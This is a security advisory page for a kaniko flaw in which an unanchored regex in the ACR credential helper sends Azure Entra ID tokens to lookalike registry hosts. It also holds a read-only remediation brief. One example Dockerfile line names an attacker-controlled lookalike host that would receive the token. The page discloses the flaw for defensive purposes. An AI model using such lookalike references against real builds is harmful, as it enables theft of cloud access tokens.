Skip to content
Patch Next
Sign inAdd to your agent

← Actionable
Critical, CVSS 9.3amended

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

CVE-2026-105769GHSA-5q7h-w9jf-cx97

What to do

Vendor fix available. Upgrade each affected package to the fixed version on its release line (github.com/chainguard-dev/kaniko 1.25.20), redeploy, then verify what is actually installed.

This page has no inventory attached, so it cannot say whether you are affected. A vendor fix is not proof that your deployment is fixed.

Add to your agent

Affected packages

Sources

Severity and exploitation
Exploitation
No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.
CVSS
9.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
EPSS
  • CVE-2026-105769: 0.20% estimated exploitation activity in the next 30 days; percentile 9.43 (FIRST EPSS, 2026-11-10). This is a model estimate, not proof of exploitation or customer exposure.
Source description

As published by the source; long descriptions are shortened.

Summary kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as `FROM x.azurecr.io.attacker.com/img`, is enough. The build needs no `RUN` instruction and never has to push. The flaw is in the Azure Container Registry (ACR) credential helper, `github.com/chrismellard/docker-credential-acr-env`. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone `docker-credential-acr-env` binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains `.azurecr.io` (or `.azurecr.cn`, `.azurecr.de`, `.azurecr.us`) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as GO-2026-6225.

Who is affected You are affected if you run…

Dates and revisions
Published by the source
Last modified by the source
Source last checked
  1. Revision 3 · amended ·

    Amended from osv record GO-2026-6902

  2. Revision 2 · amended ·

    Amended from osv record GHSA-5q7h-w9jf-cx97

  3. Revision 1 · created ·

    Published from ghsa record GHSA-5q7h-w9jf-cx97

Agent brief

Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.

# Patch Next advisory brief: CVE-2026-105769

Advisory: kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
IDs: CVE-2026-105769, GHSA-5q7h-w9jf-cx97
Record: https://patchnext.com/advisories/cve-2026-105769 (revision 3, source checked 6 Nov 2026, 06:25 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Critical (CVSS 9.3)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: github.com/chainguard-dev/kaniko 1.25.20. A vendor fix does not mean a deployment is fixed.

## Affected components
- Go github.com/chainguard-dev/kaniko: affected < 1.25.20; fixed in 1.25.20

## Suggested inspection (read-only)
- Go github.com/chainguard-dev/kaniko: check the installed version with your package manager.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on github.com/chainguard-dev/kaniko.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://github.com/advisories/GHSA-5q7h-w9jf-cx97 (GitHub-reviewed advisory GHSA-5q7h-w9jf-cx97 lists affected ranges: Go github.com/chainguard-dev/kaniko >=0 <1.25.20)
- Verified: https://osv.dev/vulnerability/GHSA-5q7h-w9jf-cx97 (OSV record GHSA-5q7h-w9jf-cx97 lists affected ranges: Go github.com/chainguard-dev/kaniko >=0 <1.25.20 (fixed))
- Verified: https://osv.dev/vulnerability/GO-2026-6902 (OSV record GO-2026-6902 lists affected ranges: Go github.com/chainguard-dev/kaniko >=0 <1.25.20 (fixed))

Commands are suggestions: review each one before running it.

Loading voting…